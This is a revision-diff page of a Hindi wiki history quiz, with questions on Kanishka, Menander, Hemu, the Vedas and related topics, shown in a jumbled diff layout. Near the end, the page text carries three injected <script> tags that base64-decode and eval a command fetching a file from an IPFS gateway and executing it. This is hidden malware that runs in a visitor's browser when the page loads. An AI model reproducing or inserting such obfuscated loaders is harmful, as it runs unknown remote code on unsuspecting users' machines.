Difference between revisions of "इतिहास सामान्य ज्ञान 8"

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<quiz display=simple>
 
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{[[अकबर]] की [[धात्री]] का नाम क्या था?
+
{प्रसिद्ध विद्वान् [[अश्वघोष]] किसके शासनकाल में हुआ?
|type="()"}
 
-मरियम उ ज़्ज़मानी
 
-मरियम उ मक़ानी
 
+माहम अंगा
 
-जोधा
 
 
 
{[[मलिक अम्बर]] कहाँ का रहने वाला था?
 
|type="()"}
 
-तुर्किस्तान
 
+अबीसीनिया
 
-[[ईरान]]
 
-तूरान
 
 
 
{[[अश्वघोष]] किसके शासनकाल में हुआ?
 
 
|type="()"}
 
|type="()"}
 
-[[अशोक]]
 
-[[अशोक]]
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+[[कनिष्क]]
 
+[[कनिष्क]]
 
-[[पुष्यमित्र शुंग]]
 
-[[पुष्यमित्र शुंग]]
||विम के बाद कुषाण साम्राज्य का अधिपति कौन बना, इस सम्बन्ध में इतिहासकारों में बहुत मतभेद है। वैसे तो सभी कुषाण राजाओं के तिथिक्रम का विषय विवादग्रस्त है, और अनेक इतिहासकार [[कुजुल कडफ़ाइसिस|राजा कुजुल]] और [[विम कडफ़ाइसिस|विम]] तक को कनिष्क का पूर्ववर्ती न मानकर परवर्ती मानते हैं, पर अब बहुसंख्यक इतिहासकारों का यही मत है, कि कनिष्क ने कुजुल और विम के बाद ही शासन किया, पहले नहीं।{{point}} अधिक जानकारी के देखें:- [[कनिष्क]]
+
||[[चित्र:Kanishka-Coin.jpg|right|100px|कनिष्क का सिक्का]]'कनिष्क' के राज्यारोहण के समय [[कुषाण साम्राज्य]] में [[अफ़ग़ानिस्तान]], [[सिंध]] का भाग, [[बैक्ट्रिया]] एवं [[पार्थिया]] के प्रदेश सम्मिलित थे। [[कनिष्क]] ने [[भारत]] में अपना राज्य [[मगध]] तक विस्तृत कर दिया था। वहाँ से वह प्रसिद्ध विद्वान् [[अश्वघोष]] को अपनी राजधानी [[पुरुषपुर]] ले आया। [[तिब्बत]] और [[चीन]] के कुछ लेखकों ने लिखा है कि उसका [[साकेत]] और [[पाटलिपुत्र]] के राजाओं से युद्ध हुआ था। [[कश्मीर]] को अपने राज्य में मिलाकर कनिष्क ने वहाँ एक नगर बसाया था, जिसे 'कनिष्कपुर' कहते हैं। शायद कनिष्क ने [[उज्जैन]] के [[क्षत्रप]] को भी हराया और [[मालवा]] का प्रान्त प्राप्त किया था। - अधिक जानकारी के देखें:-[[कनिष्क]]
  
{[[कुषाण वंश]] वृक्ष का पता चलता है?
+
{[[कुषाण वंश]] के वृक्ष का पता चलता है-
 
|type="()"}
 
|type="()"}
 
+[[राबाटक लेख|राबाटक अभिलेख]] से
 
+[[राबाटक लेख|राबाटक अभिलेख]] से
 
-रोसेटा अभिलेख से
 
-रोसेटा अभिलेख से
-हाथी गुम्फ़ा अभिलेख से
+
-[[हाथी गुम्फा अभिलेख]] से
-[[शोडाष]] अभिलेख से
+
-शोडाष अभिलेख से
||राबाटक शिलालेख [[अफ़ग़ानिस्तान]] के राबाटक स्थान के उत्खनन में 1993 में मिला था। यह यूनानी लिपि और बॅक्ट्रियन भाषा में है।{{point}} अधिक जानकारी के देखें:- [[राबाटक लेख]]
 
  
{'[[मिलिन्द]]' किस [[हिन्दी]]-[[यूनानी]] राजा को कहा गया है?
+
{'[[मिलिन्द]]' किस [[हिन्दू|हिन्दी]]-[[यूनानी]] राजा को कहा गया है?
 
|type="()"}
 
|type="()"}
 
-मिरेकस
 
-मिरेकस
 
+[[मिलिंद (मिनांडर)|मिनांडर]]
 
+[[मिलिंद (मिनांडर)|मिनांडर]]
-ड्रिमेटियस
+
-[[डेमेट्रियस]]
 
-[[महापद्मनंद]]  
 
-[[महापद्मनंद]]  
||प्रथम पश्चिमी राजा जिसने [[बौद्ध धर्म]] अपनाया और [[मथुरा]] पर शासन किया। राज्य की सीमा- बैक्ट्रिया, [[पंजाब]], [[हिमाचल प्रदेश|हिमाचल]], [[जम्मू]] से [[मथुरा]][[डेमेट्रियस]] के समान मिनान्डर नामक यवन राजा के भी अनेक सिक्के उत्तर - पश्चिमी भारत में उपलब्ध हुए हैं। मिनान्डर की राजधानी शाकल (सियालकोट) थी।{{point}} अधिक जानकारी के देखें:- [[मिलिंद (मिनांडर)]]
+
||[[चित्र:Menander-Coin.jpg|right|140px|मिलिन्द का सिक्का]]'मिलिन्द' [[पंजाब]] पर लगभग 160 ई. पू. से 140 ई. पू. तक राज्य करने वाले [[यवन]] राजाओं में सबसे उल्लेखनीय राजा था। इसे [[मिलिंद (मिनांडर)|मिलिंद]] के अतिरिक्त अन्य नामों, जैसे- 'मनेन्दर', 'मीनेंडर' या 'मीनांडर' आदि से भी जाना जाता था। इसके विविध प्रकार के बहुत से सिक्के [[उत्तर भारत]] के विस्तृत क्षेत्रों में, यहाँ तक की [[यमुना नदी]] के दक्षिण में भी मिलते हैं। सम्भव है कि 'गार्गी संहिता' में जिस दुरात्मा वीर यवन राजा द्वारा [[प्रयाग]] पर अधिकार करके कुसुमपुर (अर्थात् [[पाटलिपुत्र]]) में भय उत्पन्न करने का उल्लेख है, वह मिलिन्द ही हो। - अधिक जानकारी के देखें:-[[मिलिंद (मिनांडर)]]
  
{[[पाणिनि]] के व्याकरण में उल्लिखित अग्रश्रेणयः या [[अगलस्सोई]] ने किससे युद्ध किया था?
+
{[[शेरशाह]] के बाद और [[अकबर]] से पहले [[दिल्ली]] पर राज करने वाले [[हिन्दू]] राजा का नाम क्या था?
|type="()"}
 
-[[मुहम्मद गौरी]]
 
-[[मुहम्मद बिन क़ासिम]]
 
-[[राजवुल]]
 
+[[सिकन्दर]]
 
||सिकंदर महान मेसेडोनिया का ग्रीक प्रशासक था। वह एलेक्ज़ेंडर तृतीय तथा एलेक्ज़ेंडर मेसेडोनियन नाम से भी जाना जाता है। इतिहास में वह सबसे कुशल और यशस्वी सेनापति माना गया है। अपनी मृत्यु तक वह उस तमाम भूमि को जीत चुका था जिसकी जानकारी प्राचीन ग्रीक लोगों को थी। इसलिए उसे विश्वविजेता भी कहा जाता है। उसने अपने कार्यकाल में [[ईरान]], [[सीरिया]], [[मिस्र]], [[मेसोपोटेमिया]], [[फिनीशिया]], [[जुदेआ]], [[गाझा]], [[बैक्ट्रिया]] और [[भारत]] में [[पंजाब]] तक के प्रदेश पर विजय हासिल की थी। सिकन्दर के पिता का नाम फ़िलिप था।{{point}} अधिक जानकारी के देखें:- [[सिकन्दर]]
 
 
 
{सम्राट [[अशोक]] की पत्नी का नाम क्या था?
 
|type="()"}
 
-आम्रपाली
 
+देवी
 
-कोषा
 
-[[कम्बोजिका]]
 
 
 
{[[शेरशाह]] के बाद और [[अकबर]] से पहले [[दिल्ली]] पर हिन्दू राजा का नाम क्या था?
 
 
|type="()"}
 
|type="()"}
 
-[[पृथ्वीराज चौहान|पृथ्वीराज]]
 
-[[पृथ्वीराज चौहान|पृथ्वीराज]]
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-[[भोज]]
 
-[[भोज]]
 
-[[पुष्यमित्र शुंग|पुष्यमित्र]]
 
-[[पुष्यमित्र शुंग|पुष्यमित्र]]
||हेमू के पिता राय पूरनमल [[राजस्थान]] के अलवर ज़िले से आकर रेवाड़ी के कुतुबपुर में बस गए थे। हेमू तब छोटे ही थे। बड़े होने पर वे भी पिता के व्यवसाय में जुट गए। वे [[शेरशाह|शेरशाह सूरी]] की सेना को शोरा सप्लाई करते थे। शेरशाह उनके व्यक्तित्व से काफ़ी प्रभावित था।{{point}} अधिक जानकारी के देखें:- [[हेमू ]]
+
||[[चित्र:Hemchandra-Vikramaditya.jpg|right|100px|हेमचन्द्र विक्रमादित्य]]'हेमू' [[भारत]] का अंतिम [[हिन्दू]] राजा था। "मध्यकालीन भारत का नेपोलियन" कहा जाने वाला [[हेमू]] अपनी असाधारण प्रतिभा के बल पर एक साधारण व्यापारी से प्रधानमंत्री एवं सेनाध्यक्ष की पदवी तक पहुँचा था। [[हुमायूँ]] की मृत्यु के बाद हेमू ने [[दिल्ली]] की तरफ़ रुख किया और रास्ते में [[बंगाल (आज़ादी से पूर्व)|बंगाल]], [[बिहार]], [[उत्तर प्रदेश]] एवं [[मध्य प्रदेश]] की कई रियासतों को फ़तेह किया। [[आगरा]] में [[मुग़ल]] सेनानायक इस्कंदर ख़ान उज़्बेग को जब पता चला कि हेमू उनकी तरफ़ आ रहा है तो वह बिना युद्ध किये ही मैदान छोड़ कर भाग गया। [[7 अक्टूबर]], 1556 ई. में हेमू ने तरदी बेग ख़ान को हराकर दिल्ली पर विजय हासिल की। यहीं हेमू का राज्याभिषेक हुआ और उसे 'विक्रमादित्य' की उपाधि से नवाजा गया। लगभग तीन शताब्दियों के [[मुस्लिम]] शासन के बाद पहली बार कोई [[हिन्दू]] दिल्ली का राजा बना था। - अधिक जानकारी के देखें:-[[हेमू]]
  
{'[[आर्य]]' शब्द का शाब्दिक अर्थ है?
+
{'[[आर्य]]' शब्द का शाब्दिक अर्थ क्या है?
 
|type="()"}
 
|type="()"}
 
-वीर या योद्धा
 
-वीर या योद्धा
+श्रेष्ठ या कुलीन
+
+श्रेष्ठ या [[कुलीन]]
यज्ञकर्ता या पुरोहित
+
-यज्ञकर्ता या [[पुरोहित]]
 
-विद्धान
 
-विद्धान
 
+
||'आर्य' प्रजाति की आदि भूमि के संबंध में अभी तक विद्वानों में बहुत मतभेद हैं। भाषा वैज्ञानिक अध्ययन के प्रारंभ में प्राय: [[भाषा]] और प्रजाति को अभिन्न मानकर एकोद्भव (मोनोजेनिक) सिद्धांत का प्रतिपादन हुआ और माना गया कि भारोपीय भाषाओं के बोलने वालों के पूर्वज कहीं एक ही स्थान में रहते थे और वहीं से विभिन्न देशों में गए। [[संस्कृत भाषा]] के शब्द 'आर्य' का अर्थ होता था- '[[कुलीन]] और सभ्य'। इसलिये पुराने इतिहासकारों, जैसे [[मैक्समूलर]] ने आदिम और आधुनिक हिन्द-यूरोपीय भाषा बोलने वाली जातियों का नाम "[[आर्य]]" रख दिया। ये नाम यूरोपीय लोगों को काफ़ी पसन्द आया और जल्द ही सभी यूरोप वासियों ने अपने-अपने देशों को प्रचीन आर्यों की जन्मभूमि बताना शुरू कर दिया। - अधिक जानकारी के देखें:-[[आर्य]]
{इनमें से किस फ़सल का ज्ञान वैदिक काल के लोगों को नहीं था?
 
|type="()"}
 
-जौ
 
-[[गेहूँ]]
 
-[[चावल]]
 
+तम्बाकू
 
 
 
{वैदिक गणित का महत्त्वपूर्ण अंग है?
 
|type="()"}
 
-[[शतपथ ब्राह्मण]]
 
-[[अथर्ववेद]]
 
+शुल्व सूत्र
 
-[[छांदोग्य उपनिषद]]
 
 
 
{किस [[वेद]] में प्राचीन वैदिक युग की [[संस्कृति]] के बारे में सूचना दी गई हैं?
 
|type="()"}
 
+[[ऋग्वेद]]
 
-[[यजुर्वेद]]
 
-[[अथर्ववेद]]
 
-[[सामवेद]]
 
||ऋग्वेद सबसे प्राचीनतम है। 'ॠक' का अर्थ होता है छन्दोबद्ध रचना या श्लोक। ऋग्वेद के सूक्त विविध [[देवता|देवताओं]] की स्तुति करने वाले भाव भरे गीत हैं। इनमें भक्तिभाव की प्रधानता है। यद्यपि ऋग्वेद में अन्य प्रकार के सूक्त भी हैं, परन्तु देवताओं की स्तुति करने वाले स्त्रोतों की प्रधानता है। ऋग्वेद में कुल दस मण्डल हैं और उनमें 1,029 सूक्त हैं और कुल 10,580 ॠचाएँ हैं। ये स्तुति मन्त्र हैं।{{point}} अधिक जानकारी के देखें:- [[ऋग्वेद]]
 
 
 
{[[वेद|वेदों]] की संख्या कितनी है?
 
|type="()"}
 
-दो
 
-तीन
 
+चार
 
-आठ
 
 
 
{[[भारत]] के राजचिह्न में प्रयुक्त होनेवाले शब्द '[[सत्यमेव जयते]]' किस [[उपनिषद]] से लिए गए हैं?
 
|type="()"}
 
+[[मुण्डकोपनिषद]]
 
-कठ उपनिषद
 
-ईश उपनिषद
 
-वृहदारण्यक उपनिषद
 
 
 
{ऋग्वैदिक आर्यों का मुख्य व्यवसाय क्या था?
 
|type="()"}
 
-[[कृषि]]
 
+पशुपालन
 
-शिक्षा
 
-व्यवसाय
 
 
</quiz>
 
</quiz>
 
|}
 
|}
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{{इतिहास सामान्य ज्ञान}}
 
{{इतिहास सामान्य ज्ञान}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
{{प्रचार}}
 
 
[[Category:सामान्य ज्ञान]]
 
[[Category:सामान्य ज्ञान]]
 
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[[Category:सामान्य ज्ञान प्रश्नोत्तरी]]
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{{Review-G}}

Latest revision as of 13:32, 15 February 2023

samany jnan prashnottari
rajyoan ke samany jnan

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  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 prasiddh vidvanh ashvaghosh kisake shasanakal mean hua?

ashok
harshavardhan
kanishk
pushyamitr shuang

2 kushan vansh ke vriksh ka pata chalata hai-

rabatak abhilekh se
roseta abhilekh se
hathi gumpha abhilekh se
shodash abhilekh se

3 'milind' kis hindi-yoonani raja ko kaha gaya hai?

mirekas
minaandar
demetriyas
mahapadmanand

4 sherashah ke bad aur akabar se pahale dilli par raj karane vale hindoo raja ka nam kya tha?

prithviraj
hemoo
bhoj
pushyamitr

5 'ary' shabd ka shabdik arth kya hai?

vir ya yoddha
shreshth ya kulin
yajnakarta ya purohit
viddhan

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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